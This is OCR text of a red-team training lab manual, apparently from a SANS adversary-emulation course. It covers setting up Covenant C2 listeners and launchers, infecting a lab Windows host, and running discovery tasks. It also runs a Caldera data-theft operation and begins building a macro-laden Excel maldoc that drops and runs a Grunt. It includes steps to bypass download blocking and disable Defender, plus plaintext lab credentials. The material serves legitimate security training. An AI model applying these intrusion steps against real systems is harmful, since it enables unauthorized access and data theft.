https://192.168.20.107:7443 . As we are using a self-signed SSL certificate, you will need to
accept the certificate warning. Upon first access, Covenant offers the ability to register a new
administrator. For simplicty sake, please use the student username and Sec699!! as
password.
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Note: The Covenant Ul is served over HTTPS. If we manually enter the target IP in your browser, be
sure to specify the appropriate https scheme in the URL.

o-OVENANT

-

Register Initial User

student

Once authenticated, the Covenant dashboard will provide an overall overview of all its different
capabilities.

Step 2: Reviewing Covenant Listeners

In order to communicate with a compromised host, Covenant relies on a Listener between
infected hosts and the Covenant server. Covenant currently only supports http Listeners, with
the below options:

Name Description
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Name

Name

Url

ConnectAddress

BindAddress

BindPort

UseSSL

HttpProfile

SSLCertificate

SSLCertificatePassword

Source: github.com/cobbr

The Listener makes use of a Listener Profile. These profiles can be used to customize
what our C2 traffic will look like! By clicking the Profiles button, we can see that multiple

Description

The Name of the listener that will be used throughout
the interface. Pick something recognizable!

The Url is the callback URL, and is the url that Grunts
will be directly connecting to. If you are using
redirectors, this should be the url that points to the
external redirector. The URL should be a combination
of the ConnectAddress, BindPort, and UseSSL values,
and should be of the form:
http(s)://CONNECTADDRESS:BINDPORT

The ConnectAddress is the callback address, and
represents the hostname portion of the Url.

The BindAddress is the local IP address that the
listener will bind to. This can be helpful in cases where
the Covenant host has multiple nics. Usually, this value
will be 0.0.0.0.

The BindPort is the local port that the listener will bind
to. This also represents the port portion of the Url.

The UseSSL value determines if the listener should use
the HTTPS or HTTP protocol. If UseSSL value is true, an
SSLCertificate needs to be provided.

The HttpProfile determines the behavior of Grunt and
listener communication.

The SSLCertificate is the certificate used by the listener,
if UseSSL is true. The certificate is expected be in PFX
format.

The SSLCertificatePassword is the password that is
being used to protect the SSLCertificate.

default Listener profiles already exist.

80
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@ Dashboard

Listeners

63 Listeners

% Launchers 63 Listeners {83 Profiles
>~ Grunts

<> Templates Name 1 Description Type

) Tasks CustomHttpProfile.yam| A custom profile that does not require any cookies. HTTP

< Taskings
DefaultHttpProfile.yaml A default profile. HTTP

o Graph

S Data Previous Next
2 Users + Create

Step 3: Reviewing Covenant Launchers

Infecting hosts can be done through a variety of payloads called launchers . To continue our
walkthrough, navigate to the Launcher tab. Covenant offers multiple launching techniques,
each with its advantages and inconveniences:

Type Description

The Binary launcher is used to generate custom binaries that
Binary launch a grunt. This is currently the only launcher that does not rely
on a system binary.

The PowerShell launcher is used to generate PowerShell code
PowerShell and/or a PowerShell one-liner that launches a Grunt using
powershell.exe.

The MSBuild launcher is used to generate an MSBuild XML file that

MSBuild :
| launches a Grunt using msbuild.exe.

The InstallUtil launcher is used to generate an InstallUtil XML file

InstallUtil o .
that launches a Grunt using installutil.exe.

The Mshta launcher is used to generate an HTA file and/or a mshta
Mshta one-liner that launches a Grunt using mshta.exe that relies on
DotNetToJScript.

The Regsvr32 launcher is used to generate an SCT file and/or
Regsvr32 regsvr32 one-liner that launches a Grunt using regsvr32.exe that
relies on DotNetToJScript.

The Wmic launcher is used to generate an xsl file and/or wmic one-
Wmic liner that launches a Grunt using wmic.exe that relies on
DotNetToJScript.

The Cscript launcher is used to generate a JScript file a Grunt using

Cscript : . .
P cscript.exe that relies on DotNetToJScript.

The Wscript launcher is used to generate a JScript file a Grunt using

Wscript . . .
P wscript.exe that relies on DotNetTo)Script.
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Source: github.com/cobbr

Step 4: Reviewing Covenant Templates

Communication methods within the Covenant framework are implemented in the Templates
tab. By default communication can be done among others through the HTTP or SMB protocol.
Remember, however, that the server is only capable of handling HTTP communication.
Meaning that the SMB template can only be used for communication between two grunts.
Other templates such as the Bridge template can be found in some versions, which is nothing
more than a HTTP template with specific outbound settings.

ASoVaNaNT

@) Dashboard

ImplantTemplates

Shew 50 & entries Search:

Name i Deseription Language CommType
— SruntHTTP A Windows implant wiitten in C# that communicates over HTTP. CSharp HTTP

£ Taskings GruntSMB A Windows implant written in C# that communicates over SMB. CSharp M8

Step 5: Create a Covenant Listener

In order to continue our Covenant tutorial, let's infect a sample system!

We must first create a listener to establish a communication channel between hosts and the
Covenant server. This listener can be created through the Listener tab.

Using the + create button will offer us the ability to create a new listener as outlined in the
below image. Two settings must, however, be changed and require a basic understanding of
our SANS Lab network architecture. Covenant is deployed as a Docker container, meaning both
the "ConnectPort" and "ConnectAddress” will have the Docker container's value as a default.

To ensure our infected hosts are able to connect to Covenant, configure the Listener as follows:

® ConnectAddress: 192.168.20.107
® ConnectPort:. 80

Once modified, the listener can be created by pressing the blue "+ Create" button.

lw.Screenshot of the Covenant Listener Creation Page

Step 6: Create a Covenant Launcher
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Infecting hosts can be done through a variety of payloads called "launchers”. To create a
launcher, navigate to the "Launcher” tab. Covenant offers multiple launching techniques, each
with its advantages and inconveniences. As the SEC699 Lab is equiped with the .Net
framework, we can use the simplest approach of relying on a "Binary" launcher.

Uses a generated NET Framework binary to launch a Grunt.

On the "Binary" launcher's creation page, ensure the proper "DotNetFrameworkVersion" is set to
Net40 . Also make sure that the killdate is set well in the future.

DotNetFramewarkVersion

Net40

Once done, press the "4> Generate" button.

Step 7: Host the Covenant Launcher

As Covenant includes a file-hosting function, we will rely on our C2 to serve malicious files.
From the newly created launcher, proceed to access the "Host" tab.

Once opened, let's make our launcher available at /GruntStager.exe after which you may
press the blue "Host" button.
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Ut /GruniStager.exe Host

Step 8: Open an RDP session to a Windows system

For our Covenant walkthrough, we will infect one of our Windows systems, 192.168.20.105.
Open an RDP session to the 192.168.20.105 system as the sec699-20.1lab\student user
(password Sec699!!).

Step 9: Open browser and download the Covenant Grunt stager

Once authenticated to the 192.168.20.105 system, please open Microsoft Edge and browse to
your hosted Launcher available at 192.168.20.107/GruntStager.exe . Once prompted,
proceed to run it.

When downloading this executable using Microsoft Edge, the executable will be blocked as
insecure. Allow the download by doing the following:

Click on the keep button:

Reep
Feport this file as safe

Learn mare.

LIFIE ERERL-

GruntStager eke wias blocked 2
Cauldn's dowmlozd - Wir..

because it could harm your device.

A Delste:
Click on the keep button again:

GruntStager (1).exe
hitp 192 168 20107 G runtStaner exe

This file weas blocked because it could harm your device, kKeep  Delete

In case Defender blocks the execution of the Grunt.exe file, refer to the "known bug and fixes"
section for disabling Defender.
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s Bt Binary Launcher

3 Listeners

4 Launchers SpGenemie | O Host  |NE¥Code

5 Grnts

© Temalies Ut /GruniStager.exe Host
@ Tasks

< Taskings Launcher

. Graph
£ Dara
2 lgers

Hug4AANNIbETMONV GhpoyBwemSncmFHIGNhbmBvCBIZSBydWdga) | B

Once confirmed, you'll see a black screen showing up. During our actual attacks throughout the
week, we will of course make this a lot more stealth. :)

‘ b CUsers\studentiappDatalLocalPackagesiMicrosoft MicrasoftEdge_Swekyb3dobbwe\Terrp State\Dewnload G runtStager (1) exe — O b4

Step 10: Reviewing Covenant Grunts

Once infected, please minimize (or close) the Remmina RDP window and return to the
Covenant web interface. Once a host is infected, a launcher turns into a grunt as observable
in the Grunt tab. This is the final stage of our preparation. By clicking on the grunt's name (e.g.
a2ce344459 in the below image), we will access the grunt's overview.
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() Dashboard GruntS
G Listeners
% Launchers Show 50 4 entries Search:
>~ Grunts
Name t CommType Hostname UserName Status LastCheckin Integrity OperatingSystem Process
71 Tasks
< Taskings aZce344459° HTTP DESKTOP- Active 08/08/2019 Medium Microsoft Windows NT GruntStager
- MDDVOJ5 11:34:06 6.2.9200.0
= Graph
- Showing 1 to 1 of 1 entries Previous Next
= Dala
9 Users

Step 11: Reviewing Covenant Tasks and Taskings

Everything our Grunt is capable of doing is listed in the Tasks tab. Feel free to go through the
list to get an understanding of the built-in Covenant capabilities. Note that we can extend the
built-in capabilities by creating our own tasks by clicking the + create button at the bottom of
the page.

@) Dashboard
Tasks
€ Listeners
rER Tasks I da
Grunts
Show 50 % |entries Search;
Templates
© Tasks Name T Description ibraries i EmbeddedResources
= Taskings
e Assembly Execute a dotnet SharpSploit
o Grahi Assembly EntryPoint,
£ Data AssemblyRefiert Execute a dotnet SharpSplait
Assembly method using
Users
reflection
BypassUACCommand Bypasses UAC thraugh SharpSplait
taken duplication and
a command
BypassUACGrunt Bypasses UAC thraugh SharpSplait

token duplication and
executes a Grunt
Launcher with high
integrity.

Once a task is run, you can follow up on its results under the Taskings tab.

Step 12: Reviewing Covenant Graph

The Graph tab provides a graphical overview of the relation between your Listeners and your
Grunts . In the example below, we have a number of grunts which communicate with the
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server through HTTP (you should only see one). Lost Grunts ( Grunts that no longer report to
the server) will also appear in this graph.

QQVEN ANT -

Graph

@ 1d3374ede2)
(sad1587834]
\ X 2186748283

W ;314
601740963

Legend
@ Listener
. Grunt (hitp)
@ Grunt smb)
Node Information

=

i60bc41880 624506015a)

Step 13: Reviewing Covenant Data

During operations, Grunts can collect all types of information, ranging from usernames and
passwords to specific files. All this data is available through the pata tab.

&OV ENANT 52 B

@ Dashioard

| Listeners

4 Launchers

Grunts

< Templates

D Tasks
Taskings

= Graph

of Credentils ¢ Indicators & Downloads

Password Credentials

Show 350 % |entries

Hash Credentials

Domain 1 Username

Ticket Credentials

T Username Password

No data availsble iry table

Search:
HashCredentialType Hash
No data availabl b
Search
ServiceName TicketCredentialType Ticket
No data availabl bl

As you might have noticed, within the bata tab there are 3 more tabs.

Credentials is automatically populated when a Grunt runs a task which has discernable
credential output. If needed, you can also manually add entries.
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e Indicators keep track of the Grunts' footprint. When a Grunt becomes active, the
ComputerName and UserName fields in Target Indicators will be automatically
populated. The Network Indicators contain an overview of the C2 connections that
were made. Finally, the File Indicators keeps track of any files that were uploaded
through the Grunt . This information is usually very useful for the blue team to cross-
reference with what they have picked up.

e Downloads provides an interface to download any file that was grabbed by a Grunt.

Objective 2: Running Covenant Tasks

We will now make use of our Grunt to execute several tasks on the infected host.

Step 1: Running sample tasks

Performing tasks on our grunt can be done through the grunt's Task submenu. Obtaining a
good first insight on our infected hosts can be done through an infinite amount of techniques.

Let's start by running a few sample tasks to obtain some situational awareness on the machine
we just compromised:

WhoAml

GetDomainGroup (will get information on the Domain Admins group by default)
GetNetLoggedOnUser (for machine WIN10-01)

ProcessList

An example of the WhoAml output can be found below:

B GruntTasking: c6b989ece9

63 Listeners

4 Launchers Name Grunt Task

—— c6b989eced ‘ ab9a2cad7l ‘ ‘ WhoAml ‘

<» Templates Status CommandTime Type

® Tasks Completed J 11/20/2019 09:45:01 Assembly :|

€ Taskings
UserName Command

= Graph
sec699 WhoAml

= Data
2 Users Output

SEC699-10\student

Note that the Covenant interface provides multiple options for task execution: You can either
execute these Tasks through the Task submenu in the Grunt menu, or you can execute them
using the Interact menu, where you have a simplified view to execute Tasks and immediately
see their output:
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mOVENANT lcome

(n) Dashboard .
Grunt: a59a2cad71
G Listeners
7 Launchers @ Info >_ Interact @ Task £ Taskings
>~ Grunts

( >
> Templates (sec699) > WhoAmI

(sec699) > GetNetLocalGroup /computernames:"DCO1"

o) Tasks

(sec699) > whoami
= Taskings

3 SEC699-10\student
= Graph
5 Data

2 Users

This console provides a way to chain the tasks more quickly while still providing a history. The
output of an executed task can be obtained by clicking the "+" button on each task's left side.

Step 2: Executing a manual CMD command
A very powerful feature in Covenant is to excute custom commands or PowerShell cmdlets.

Let's execute a task shell and enumerate all domain users with the net users /domain
command:
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2l Esshoan Grunt: a59a2cad71

{4 Listeners

v Launchers () Info »_ Interact @ Task £ Taskings
>_ Grunts
Task

<> Templates
Shell :l

&) Tasks
) ShellCommand
= Taskings
net users /domain
=, Graph
2, Users

As for all future tasks, refreshing the page a couple of times will finaly showcase an output
similar to the beneath expected one:

Dashboard H .
GruntTasking: 49f21ba390
) Listeners
% Launchers Name Grunt Task
Grnis 49121ba390 ‘ a59a2cad71 H Shell ‘
> Templates Status CommandTime Type
@ Tasks Uninitialized :| 11/20/2019 10:58:58 Assembly :I
£ Taskings
e UserName Command
=, Graph
P sec699 Shell /shellcommand:"net users /domain"
& Data
%) Users ShellCommand

net users /domain

Output

The request will be processed at a domain controller for domain sec699-10.1ab.

User accounts for Wdc-01.sec699-10.lab

Administrator Alan.Marshall Andy Bernard
Angela.Martin Ansible Creed.Bratton
Dwight.Schrute Guest Jim.Halpert
Kelly.Kapoor Kevin.Malone krbtgt
Meredith.Palmer Oscar.Martinez Pam.Beesly
Phylis.Vance sql_sve Stanley.Hudson
student student_dadm student_ladm

Toby.Flenderson
The command completed successfully.

Step 3: Executing a manual PowerShell command
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Let's now execute a PowerShell task to list environment variables:

.-@OVENANT

Dashboard P
@ Grunt: a2ce344459
hd Listeners
4 Launchers @ Info >_ Interact @ Task £ Taskings
>_ Grunis

Task

Tasks
= PowerShell :l
<2 Taskings

‘ PowerShellCommand
=, Graph
Get-Childitem Env:

£l Daa
N -

Once configured, the task can be planned through the blue "Task" button.

It is possible to obtain an overview of all tasks through the Taskings tab. The below displayed
overview is particularly interesting as it provides useful information as the task's completion
status.

To return to the task, simply click on its name. Once completed, the output of the task will be
available. The execution of the previous environment variable enumeration gives us a valuable
overview of some user-critical paths.
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(m) Dashboard = .

GruntTasking: 56f46b381d
b Listeners
4 Launchers Name Grunt Task
s 56146b381d | a2ce344459 | ‘ PowerShell J
(7 Tasks Status CommandTime Type
€ Taskings Completed -| | 0B/08/2019 11:34:47 Assembly -|
=, Graph - 7
= P UserName command
=] Data

sec699 PowerShell /jpowershellcommand:"Get-Childitem Env:"

2. Users

PowershelCommand

Get-Childliem Env:

Output
Name Value
ALLUSERSPROFILE Ch\ProgramData
APPDATA CUsers) \AppData\Roaming
CommeanProgramFiles C:\Program Files\Common Files
CommanProgramFiles(x86) C:\Program Files (xB6)\Common Files
CommenProgramWe432 C:\Pregram Files\Comman Files
O AN ITERAL AR NECHTAR MIRMLATE

Among the listed variables, we can observe multiple indicators providing us with a basic
context such as oneDrive, PATH, JAVA_HOME and others. The value of the HOMEPATH variable is
a valuable starting point for further exploration:

HOMEPATH \Users\SEC699

Step 4: Reviewing the dashboard

Now that we've created some data, we can revisit the Covenant dashboard, accessible through
the Dashboard tab. This high-level overview provides us with a quick overview of our grunts,
listeners, and taskings — pretty useful to pick up the work where we left it.
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@ Dashboard Dashboard
d Listeners
4 Launchers Grunts
_ Grunts : A
Name i CommType Hostname UserName Status LastCheckin Integrity OperatingSystem Process
71 Tasks
) My SECH38 HTTP DESKTOP- Active 08/08/2019 Medium Microseft Windows NT GruntStager
< Taskings Hast MDDBVOJI5 11:55:30 6.2.9200.0
=, Graph
Showing 1 to 1 of 1 entries Previous MNexr
= Daa
% Users Listeners
Name ListenerType Status StartTime BindAddress BindPort
My SECGE99 Listener HTTP Active 08/08/2019 11:32:15 0.0.0.0 BO
Taskings
Name 1 Grunt Task Status UserName Command CommandTime CompletionTime
56i46b381d My SECE99 Powershell Completed  secB93 Powershell fpowershellcommand: Get- 08/08/2019 0B/08/2019
Host Childitem Env:" 11:34:47 11:34:54
TH695e3391 My SECE99 Download Completed  sec699 Download ffilename:"id_ed25519" 08/08/2019 0B/08/2019
Lmrs 11aanER 11.EAAT

Step 5: BONUS

If you have time left, please continue further exploring the Covenant interface. Feel free to
attempt executing additional tasks. Another idea is to execute the Grunt using administrative
credentials, which will allow you to do more intrusive attacks (e.g., dumping credentials from
LSASS using Mimikatz!).

Conclusions

Finishing this lab has given you insight in core concepts and terminology used within Covenant.
You are now capable of:

e Setting up Covenant listeners
e Generating different Covenant Launchers
e Executing different tasks on infected systems

Covenant will be our go-to tool for manual emulation in the comming week, meaning we will
continue to build upon the skills you acquired today.

After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]
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Exercise 5: Caldera

During this lab, we will interact with Caldera for the very first time.

This excercise will introduce you to the different abstractions part of Caldera's ecosystem. Even
though Caldera has support for additionnal external and custom plugins, we won't focus our
time and energy on building our own as Caldera is the definition of "Work in Progress".

Given Caldera releases up to multiple versions a week, we will focus on the overall structure of
the tool and how it can be leveraged for emulation automation.

The objectives have been fully documented step-by-step (including all expected commands and
outputs). Feel free to either find your own way, or use the exact instructions as described,
depending on your experience and expertise.

Your instructor will indicate how much time you can dedicate to this lab.

Lab Setup and Preparation

Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Turning Abilities into Results

For this introduction, we will run a Caldera operation to get used to the overall GUI interface.

Step 1: Opening the Caldera GUI

The first step will be to open the Caldera GUI located at http://192.168.20.107:8888 . YOou can
use the either Firefox or Chrome on your CommandoVM machine for this. Note that Caldera
will nag if you don't use Chrome, as it is the recommended browser for Caldera. You can use
the student account (password Sec699!! ) to access the stack.
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access

Sraulble logging 7
Clear your cookies 2nd try again;
Far the best sxperence: use Chrame:

Step 2: Accessing the Documentation

Before diving into Caldera itself, take a few minutes to check out their documentation:
https://caldera.readthedocs.io/en/latest/

Step 3: Exploring the Caldera GUI

Back on the Caldera main screen, hover over the top-left "Campaigns” menu and check out the
"Agents"”, "Adversaries" and later the "Operations” tabs.

Click here to deploy an agent

BEACON TIMERS

WATCHDOG TIMER

UNTRUSTED TIMER _

IMPLANT NAME

BOOTSTRAP ABILITIES

The "Agents" tab lists all systems on which we have a Caldera agent running. As part of our
Ansible deployment scripts, Caldera is deployed on all Windows machines. From the displayed
list, the host, pid and privilege columns are the most interesting:

© 2021 NVISO and James Shewmaker



https://technet24.ir

e The host is the infected host (on which Caldera is deployed);
e The pid is the process id on which the Caldera malware agent is running;
e The privilege is used to mark the agents' privilege level.

BEACON TIMERS

WATCHDOG TIMER

UNTRUSTED TIMER

IMPLANT NAME

BOOTSTRAP ABILITIES

The "Adversaries" tab allows you to view the different adversaries we can emulate. Later in the
course, you will build your own Caldera adversaries with custom abilities!

From the dropdown on the left, you can select any of the built-in adversaries, such as the
"Hunter" one below. Once an adversary is selected, you will see the different attack phases and
abilities they leverage in the right pane.

Take a minute to understand how the "Hunter" adversary will prepare its data collection in
phase one, actively collect and extract sensitive data in phase two, obfuscate (easily, let's admit
it) the data in phase three to finally upload it to our Command and Control stack.

O Hunter

Discover host details and steal sensitive files
Profiles

Ordering + link objective | +

Hunter

Step 4: Running an Adversary Emulation Operation
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Once you are finished exploring, let's try running an operation. In order to do this, open the
"Operations” tab. In the "Operations” view, switch the radio button from view to Add and
expand the "Basic Options".

As you can see below, you can proceed to name your operation (i.e. "My SEC699 Operation"),
select the "Hunter" adversary, make sure the operation closes automatically and finally, set its
execution to be run immediately.

With these required settings set, feel free to initiate the attack using the green "Start" button.

us

Step 5: Monitoring the Results

As soon as you press the "Start"” button, you should see the interface change and start
displaying the status of the operation.
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RUNNING | 1MIN53SEC | 49 DECISIONS

Operations
i’ \ \

- = —
fisied) (@) succes e (R iscroeo Uisitie

Start a new operation or review previous ones

here.
+ potential links

My SEC699 Operation - 2020-03-14 09:03~|

2020-03-14 09:04:30 C agent#990928... Identify Firewalls

[} include agent autput

2020-03-1409:04:30 agent#990928. ., View admin shares
Download report
2020-03-14 09:04:30 agent#990828... Find domain contralier

Delete 2020-03-14 09:04:30 agent#990928... Parmission Groups Discovery

agent#990928... Discover antivirus pragrams

2020-03-14 09:04:30

2020-03-1409:04:30 Identify Firewalls

[
|
|
I
I
|
[

2020-03-14 09:03:09 agent#329679... Find sensitive files

2020-03-14 09:03:09 agent#375044... Find sensitive files

2020-03-14 09:03:09 agent#375044... Find sensitive files

2020-03-14 09:03:08 agent#230536... Find sensitive files

2020-03-14 09:03:09 agent#230536... Find sensitive files

I
I
I
I
I
[

Note the green border around the circles of the different timestamps. A green border indicates
that a command was successfully executed. Unfortunately, this is based on the command
status code, so it's not always fully reliable.

By clicking the small "Star" icon in the different steps, we can see the output of the different
techniques as is shown by the beneath output of "Identify Firewalls".

SNameSpace = Get-WmiObject -Namespace “root" -Class "  Nemespace' | Select Wame | Out-String -Stream | Select-String
"SecurityCenter”;$SecurityCenter = SMNameSpace | Select-Object -First 1;Get-Wmilbject -Mamespace "root\$SecurityCenter” -Class AntiVirusProduct |
Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List;

DisphayName 1 Windows Defender

InstanceGuid : {DE8DDC3A-831F-4T3e-9E44-DATI2CTACFAG]
PathToSignedProduciExe  : windowsdefender://
PathToSignedReportingExe : SPFrogramFiless\Windows Defender\MsMpeng.exe
ProductState © 393488

Timestamp : Fri, 86 Mar 2820 16:47:15 GMT

After a few minutes, the operation should have completed. Feel free to analyze both successes
and failures.

Step 6: BONUS
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If you have time left, please continue further exploring Caldera. Here are some other items you
can play around with:

e Canyou review all of the different outputs of the techniques using the "Star" icon?

e Canyou run a new operation and change the switch that is currently set to
"Autonomous"? What is the effect?

e Can you download the report of an operation once it's finished?

e Can you find the MITRE ATT&CK integration in Caldera?

Conclusions

Finishing this lab has given you insight in core concepts and terminology used within Caldera.
You are now capable of:

e Reviewing Caldera agents

e Reviewing Caldera abilities and operations

e Running Caldera opartions

e Reviewing the results of a Caldera opreation

We will reuse Caldera later this week when we will leverage it for further automation and the
development of custom abilities and operations.

As this is the final lab of the day, please destroy your lab environment using the below
commands from your student VM:

cd /home/student/Desktop/SEC699-LAB
./manage.sh destroy -t [version_tag] -r [region]

Day 2: Advanced Initial Execution

Defender

During the lab, your payloads may be blocked by Defender. Go to security center and
disable tamper protection + defender if this happens.

Exercise 1: Malicious Microsoft Office documents with
Covenant Grunts
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In this lab, we will create various malicious Office documents that deliver Covenant grunts. We
will use VBA macros and Excel 4 macros. The Covenant grunts we will use will be binary (written
to disk and executed) and shellcode (executed directly from memory).

Malicious documents (maldocs) can be classified in two broad categories: Maldocs that exploit
vulnerabilities and maldocs that leverage the host application’s scripting capabilities. In this lab,
we will create documents of the second category, leveraging VBA and Excel 4 macros.

Lab Setup and Preparation

Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Executing and detecting a Covenant Grunt - VBA Purging

Visual Basic for Applications (VBA) is a technology introduced by Microsoft in 1993. VBA
provides scripting capabilities, using the Visual Basic language, to the applications of
developers that license the VBA technology. For example, Autodesk licenses VBA from
Microsoft to include it into its AutoCAD product (in recent versions, VBA has become a
supplemental install). Of course, Microsoft uses this technology too, in particular in Microsoft
Office.

VBA is a very powerful programming language that can interface with COM objects and with
the Win32 API. VBA runs with the user permissions and privileges, and is not restricted by a
sandbox. This means that if a user is able to perform a certain action on the system, a VBA
program can be developed to automate the same action.

Step 1: Creating the Covenant grunt

To get started, please first download asset file maldocs.zip here, and unzip it on your Windows
desktop of the CommandoVM. This will create a folder maldocs on your desktop.

From the CommandoVM, please connect to Covenant, which can be accessed on
https://192.168.20.107:7443 with username student username and password Sec699!! .
As we will download executable files generated by Covenant, it is recommended to use Firefox,

as Chrome might block downloads.
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Covenant

- ¢ @ t0s /192 16820107 QO Recommendation -+ & ¥ N 0 @&

Eovaunm

G o Dashboard

Grunts
Name Hostname User Integrity LastCheckin Status Note Template
. SRR
Listeners
Taskings
Name ListenerType Status StartTime ConnectAddresses ConnectPort
. SRR
Taskings
Name Grunt Task Status UserName Ce d C dTime CompletionTime

If you have listeners from previous exercises, it's best to delete them. They will not interfere
with our exercise, but you might select the wrong listener when creating grunts. To avoid this,

we recommend deleting old listeners.

As a first step, let's create a new, fresh listener:

Covenant

= G o tp=//192.16820.107. 7+ Q Recammendation

r@ovzmm

Listeners

fa Listeners
£3 Listerers 8% Profiles

Name ListenerType Status StartTime ConnectAddresses ConnectPort
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Covenant

~ G @ U & I 9 3/ llstenen)oreat Q Recommendation

r;_ o-OVENANT

Create Listener
G Listeners

(5 Htiplistener (1) Bricigelistene

Description

Listens on HTTP protecol.

MName

2405d5e93b

BindAddress BindPort

0000 80

ConnectPort

Lo

80

CannectAddresses Urls

192.168.20.107 httpy//192.168.20.107:80

| + Add ‘

UseSSL
Falze »
HttpProfile

CustomHttpProfile ol

As you've done before, please make sure to provide the correct ConnectAddress
192.168.20.107 (which is the IP address of our C2 machine) before clicking the Create button.
We have now created a listener that becomes active in just a few seconds:

Covenant

192:16820,107: 744 e _ Q Recommendation

{Eovzmm

. Started Listener 133744
Listeners

§a Listeners Started Listenar e405452930

63 Listeners {85 Profiles

Name ListenerType Status StartTime ConnectAddresses ConnectPort

HTTR Active 01/20/2021 13:37:44 192.168.20.107 80
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Next up, let's create a Launcher that can be used to deliver grunts to our victims. Please click
the Launcher tab from the menu item to the left:

Covenant

Q Recommendation

Launchers

47 Launchers

MName Description

Installutil Uses installutilexe to'start a Grunt via Uninstall method.

Uses msbuildiexe to launch a Grunt using an in-line task.

PowerSnell Uses powershell.exe to launch 2 Gruni using [System Reflection.Assemblyl:Load()

ShellCade Converts a Grunt te ShellCade using Donut.

Uses a generated NET Framework binary to launch a Grunt,

Wrmic Uses wmic.exe to launch a Grunt using a COM activated Delegate and ActiveXOhjects (ala DotNetTalScript). Flease note that
DotMetTolSoript-based launcners may not work on Windews 10 and Windows Server 2016,

Uses regsvr32.exa to launch a Grunt using 3 COM activated Delegate and ActiveXObjects (ala DotMetTolSoriptl, Please note that
DatNetTalScripi-based faunchers may not work on Windews 10 and Windows Server 2016,

Mshia Uses mahta.exe to launch a Grunt using a COM activated Delegate and ActiveXChjecis (ala DotNetTolSoript). Please note that
DotNetTolScript-based lsunchers may not work on Windows 10 and Windows Server 2016:

Cseript Uses cscriptiexe to launch a Grunt using @ COM activated Delegate and ActiveXObjects (ala. DatNetToiScript). Please note that
DatNetTolScript-based |launchers may not work on Windows 10 and Windows Server 2016,

Uses wieript.exe te launch & Grunt using 3 COM activated Delegate and ActiveXObjects (ala DotietTolSoript), Please nota that
DotNetTeiScripi-based launchers may not workon Windows 10 and Windows Server 2016.

Select Binary:
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Covenant

192:168:20,107: 743 lalinche ite Q Recommeridation

'ﬂ o-OVENANT

Binary Launcher

&, Lainchers 47 Generate (3 Hest <> Code

Description

Uses & generated NET Framewaork binary to launch a Grunt.

Listener ImplaniTemplate DatNetVersion

e405d5e93b e GruntHTTP Net40 =
ValidateCert UseCertFinning

True E‘ True v
Delay litterPercent ConneciAttempts

o = 10 = 5000 5
KillDate

02/12/2021 10:32 AM

Launcher

&, Download

o]

Before you push the Generate button, make sure that you verify that your listener is selected,
that you choose .NET version 4.0 (DotNetVersion: Net40), and that the kill date lies at least a
couple of days later than today (this to avoid any accidental time sync issues).

Once finished, please click the Generate button. The name GruntHTTP.exe will appear shortly
after you pressed the button:
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Covenant

— G @ 1431 =1 Q Recommendation

P! e-OVENANT

Binary Launcher

4 Launchers 47 Generate (3 Host <> Code

Description

Uses a generated NET Framewark binary to launch a Grunt.

- Listener imiplantTemplate DotiNetversion
e405d5e93b s GruntHTTP s Net40Q ¥
Mista ValidateCert UseCeriPinning
True ‘:‘ True |
Delay JitterPercent ConnectAtiempts
5 = 10 = 5000 =
KillDate

02/1272021 10:32 AM
‘ o Download

Launcher

GruntHTTP.exe i} ‘

Download the file and save it into the maldocs folder on your CommandoVM desktop.
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192.1668:20.107. 744315 fac 5 Q Recommendation

v Pleaze help make Firefox better by taking this short survey | Take Survey Lesrn More X

Binary Launcher

4 Launchers & Generate (P Hest <> Code

Deseription

Uses a generated MET Framework binary 1o launch a Grunt:

Listener Implaf " =
DOpening GruntHTTP.exe x
e405d5e93b Gnt You have chosen to open:
[#] GruntHTTRexe
ValidateCert Usels -
which ist Binary File {11.53 KE)
from: ;
True E‘ Try Fov gty
Would you like to save thisfile?
Delay Jitter® Save File
5 # 10 £ 5000 =
KillDate

02/12/2021 10:32 AM

Launcher

& Download

This GruntHTTP.exe is now an executable that we want to deliver to our victim machine, and
have it run on said machine. This will establish a C2 channel to the Covenant listener we just
created, giving us remote access to the victim machine and the capability to execute
commands on the victim machine.

Typical vectors to deliver malicious payloads are email and downloads. Of course, we all know
that emailing Windows executables as attachments is something that is no longer allowed by
most email clients and servers for many, many years now. Hence, we need to embed our
GruntHTTP.exe into another format that can be delivered as an email attachment.

Step 2: Creation of the maldoc

In this exercise, we will use Office documents. There's nothing unusual with the delivery of an
Office document as an email attachment: This is a method that countless businesses and
organizations use to go about their daily business.

Although it is possible to embed arbitrary files into Office documents as OLE objects, they will
not be opened (e.g., executed) upon opening of the embedding Office document. There are
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many solutions and workarounds to this problem. What we will use is a tool that converts an
arbitrary file into pure VBA source code, which can then be included in the Office document.

The free and open-source tool that we will use is file2vbscript.py. It is a Python program that
takes an arbitrary file as input and generates Visual Basic code that embeds the file (as
individual numbers for each byte of the payload file, directly into the source code), and drops it
to disk and launches it when the Visual Basic code is executed.

On your CommandoVM, please open a command-line prompt (cmd.exe) and navigate to your
maldocs folder (c:\users\student\Desktop\maldocs). Execute the following command:

file2vbscript.py -o -t -e Workbook_Open GruntHTTP.exe GruntHTTP-vba.txt

BB Administratar CAWINDOWS \system3Zvemid. exe — O s

We provide the following options to file2vbscript.py:

e -0: Generate VBA Visual Basic code (e.g., for Office)

e -t: Upon execution of the VBA code, save the embedded file into the users’ temporary
folder

e -e: Use the name Workbook_Open for the entry/primary subroutine of the generated VBA
code (Workbook_Open is a reserved name in Excel, used to launch the subroutine
automatically upon opening of the spreadsheet)

As input (payload) we provide GruntHTTP.exe, and as output filename GruntHTTP-vba.txt.

This will create text file GruntHTTP-vba.txt with the following content:
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B Administestor: CAWINDOWSisystem32iemd.exe - more GruntHTTP-vha it = O >

What you see here is VBA code. Subroutine (Sub) Workbook_Open() will be executed when the
spreadsheet that contains this VBA code is opened. Subroutine Workbook_Open contains 3
statements:

o strFile = TempFilename: This statement assigns a filename with basename file.exe and
path equal to the users’ temporary folder to variable strFile

e DumpfFile strFile: This statement writes the embedded file (GruntHTTP.exe) to filename
strFile

e RunFile strFile: This statement executes the dropped file with filename strFile

